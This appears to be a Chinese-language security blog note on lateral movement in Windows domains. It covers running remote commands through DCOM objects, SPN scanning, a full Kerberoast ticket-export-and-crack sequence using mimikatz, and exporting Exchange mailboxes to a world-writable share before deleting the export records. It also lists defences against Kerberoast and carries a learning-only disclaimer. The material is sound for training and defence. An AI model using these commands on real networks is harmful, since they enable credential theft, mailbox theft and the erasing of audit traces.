1、概述
本文接着上一篇域内横向移动记录,工欲善其事必先利其器,在平时的工作过程中不要忘记基础知识的回顾与记忆。
2、内容
2.1 DCOM在远程系统中的使用
DCOM(分布式组件对象模型)是微软的一系列概念和程序接口,通过DCOM客户端程序对象能够向网络中的另一台计算机上的服务器程序对象发送请求。
通过本地DCOM执行命令
获取DOCM程序列表
Get-CimInstance Win32_DCOMApplication #Get-CimInstance默认只在Powershell3.0以上版本存在即Win Server2012以上版本
不支持上述命令可用以下替换
Get-WmiObject -Namespace ROOTCIMV2 -Class Win32_DCOMApplication
使用DCOM执行任意命令
启动管理员权限的powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")
使用DCOM在远程主机执行命令
通过ipc$连接远程主机
net use \192.168.127.130 "1" /user:testuser
建立远程连接后,在远程系统执行命令,调用MMC20.Application
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.127.130"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")
调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
$com = [type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.127.130")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:windowssystem32",$null,0)
2.2 SPN在域环境中的应用
在使用Kerberos协议进行身份验证的网络中,必须在内置账号(NetworkService、LocalSystem)或者用户账号下为服务器注册SPN。对于内置账号,SPN将自动进行注册。SPN(服务主体名称Service Principal Name),SPN 是服务在使用 Kerberos 身份验证的网络上的唯一标识符,它由服务类、主机名和端口组成。
Kerberos 是一种计算机网络身份验证协议,旨在简化和保护身份验证。Kerberos 的中心思想围绕着使用一种本地形式的个人标识,称为由身份验证服务器授予的票据。每张票都属于特定的领域,这些领域决定了票授予访问的服务。这些票是加密的,需要多级解密才能使用。该票证系统确保永远不会通过网络发送密码等敏感信息。
根据Kerberos协议当用户输入账号和密码登录活动目录时,域控制器会对账号和密码进行验证。验证通过后,密钥分发中心(KDC)会将服务授权的票据(TGT)发送给用户(作为用户访问资源时的身份凭证)
SPN命令格式如下:
SPN = serviceclass "/" hostname [":"port] ["/" servicename]
serviceclass:服务组件的名称
hostname:以“/”与后边的名称分隔,是计算机的FQDN(全限定域名,同时带有计算机名和域名)
port:以冒号分隔,后面的内容为该服务监听的端口号
servicename:一个字符串,可以是服务的专有名称(DN)、objectGuid、Internet主机名或全限定域名
常见SPN服务
MSSQL服务的实力代码如下:
MSSQLSvc/computer1.sahx.com:1433
MSSQLSvc:服务组件名称
computer1.sahx.com:主机名为computer1 域名为sahx.com
1433:监听端口
Exchange服务的示例代码:
exchangeMDB/EXCAS01.saxh.com
RDP服务的示例代码:
TERMSERV/EXCAS01.sahx.com
WSMan/WinRM/PSRemoting服务的示例代码:
WSMAN/EXCAS01.sahx.com
SPN扫描的powershell脚本
Powershell-AD-Recon工具包提供了一系列服务与服务登录账号和运行服务的主机之间的对应关系,这些服务包括但不限于MSSQL、Exchange、RDP、WinRM。
下载地址:https://github.com/PyroTek3/PowerShell-AD-Recon
利用SPN发现域中所有的MSSQL服务
SPN通过LDAP协议向域控制器进行查询的,攻击者只要获取一个普通的域用户权限,就可以进行SPN扫描。例如扫描MSSQL
Import-Module .Discover-PSMSSQLServers.ps1
Discover-PSMSSQLServers
扫描域名中所有的SPN信息
Import-Module .Discover-PSInterestingServices
Discover-PSInterestingServices
不使用第三方脚本,可以用windows自带工具列出域中的所有SPN信息。
setspn -T domain -q */*
Kerberoast攻击
Kerberoast是一种针对Kerberos协议的攻击方式,在域环境中攻击者会通过Kerberoast使用普通用户权限在活动目录中将计算机服务账号的凭据提取出来。
攻击流程
以MSSQL服务为例
①手动注册SPN
setspn -A MSQQLSvc/computer1.sahx.com:1433 mssql
②查看用户对应的SPN,指定
setspn -L sahx.commssql
③查看所有注册的SPN
setspn -T domain -q */*
④使用adsiedit.msc查看用户SPN以及其他高级属性
⑤配置指定服务的登录权限
gpedit.mscComputer ConfigurationWindows SettingsSecurity SettingLocal PolicesUser Rights AssignmentLog on as a service
⑥修改加密类型
gpedit.mscComputer ConfigurationWindows SettingsSecurity SettingLocal PoliciesSecurity OptionsNetwork security: Configure encryption types allowed for Kerberos
⑦请求SPN Kerberos票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestor SecurityToken -ArgumentList "MSSQLSvc/computer1.sahx.com"
⑧导出票据(使用mimikatz)
kerberos::list /export #导出票据会保存在当前目录中的kirbi文件中,加密方式RC4_HMAC_MD5
⑨使用Kerberoast脚本离线破解票据所对应账号的NTLM Hash
脚本下载地址:https://github.com/nidem/kerberoast
python tgsrepcrack.py wordlist.txt mssql.kirbi #使用python2.7环境,破解完成将票据对应账户的密码打印出来
防御Kerberoast攻击
确保账号密码的长度超过25位,确保密码的随机性,定期修改服务账号的密码
如果攻击者无法将默认的AES256_HMAC加密方式修改为Rc4_HMAC_MD5,就无法使用脚本破解密码
强制使用AES256_HMAC对Kerberos票据加密,嗅探抓包后无法破解
对服务账户的权限进行适当配置,提高密码的强度
日志审计关注ID为4769(请求Kerberos服务票据)事件。
2.3 Exchange邮件服务器安全防范
Exchange是微软出品的电子邮件服务组件,是一个消息与协作系统。
Exchange服务器角色
Exchange在逻辑上分为三层:
网络层、目录层、消息层,服务器角色处在消息层
服务器角色:
邮箱服务器(核心服务器角色)
客户端访问服务器(核心服务器角色)
集线传输服务器(核心服务器角色)部署核心服务器角色,就能提供基本电子邮件处理功能
统一消息服务器
边缘传输服务器(除次角色,其他均可以部署在同一台主机上)
客户端远程访问接口和协议
OWA(outlook Web App):Exchange提供的Web邮箱
EAC(Exchange Administrator Center):Exchange管理中心,是组织中的exchange的Web控制台
Outlook Anywhere(RPC-over-HTTP,RPC/HTTP)
MAPI(MAPI-over-HTTP,MAPI/HTTP)
Exchange ActiveSync(EAS,XML/HTTP)
Exchange Web Service(EWS,SOAP-over-HTTP)
Exchange服务器发现
基于端口扫描发现
nmap -A -O -sV 192.168.1.1
SPN查询(域环境)
setspn -T sahx.com -F -Q */*
Exchange的基本操作
查看邮件数据库
Get-MailboxDatabase -server "Exchange1"
正常情况下,powershell没有这条命令需要将exchange管理单元添加到当前会话
add-pssnapin microsoft.exchange*
指定数据库查询详细信息,比如查询数据库路径
Get-MailboxDatabase -Identity 'Mailbox Database 1894576943' | Format-List Name,EdbfilePath,LogFolderPath
获取现有用户的邮件地址
Get-Mailbox | format-tables Name,WindowsEmailAddress
查看指定用户的邮箱使用信息
get-mailboxstatistics -identity administrator | Select DisplayName,ItemCount,TotalItemSize,LastLogonTime
获取用户邮箱中的邮件数量
Get-Mailbox -ResultSize Unlimited | Get-MailboxStatistics | Sort-Object TotalItemSize -Descend
导出指定的电子邮件
配置用户的导入/导出权限
查看用户权限
Get-ManagementRoleAssignment -role "Mailbox Import Export" | Format-List RoleAssigneeName
添加权限
将Administrator用户添加到导入导出角色组,就可以通过powershell导出用户邮件了
New-ManagementRoleAssignment -Name "Import Export_Domain Admins" -User "Administrator" -Role "Mailbox Import Export"
删除权限
Remove-ManagementRoleAssignment "Import Export_Domain Admins" -Confirm:$false
设置网络共享文件夹
net share inetpub=c:inetpub /grant:everyone,full
导出用户电子邮件
使用powershell导出
New-MailboxExportRequest -Mailbox administrator -FilePath \192.168.1.1inetpubadministrator.pst
使用图形化界面进行导出,使用之前角色组中的账号密码登录
管理导出请求
无论图形化界面还是powershell导出都会留下相关记录
查看导出记录
Get-MailboxExportRequest
删除指定用户导出请求
Remove-MailboxExportRequest -Identity Administratormailboxexport
删除所有导出请求
Remove-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest
免责声明:
本公众号漏洞复现文章,SRC、渗透测试等文章,仅供学习参考,请勿用于实战!!有授权情况下除外!!由于传播、利用本公众号文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责
原文始发于微信公众号(sahx安全从业记):内网(笔记)-域内横向移动-续2
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论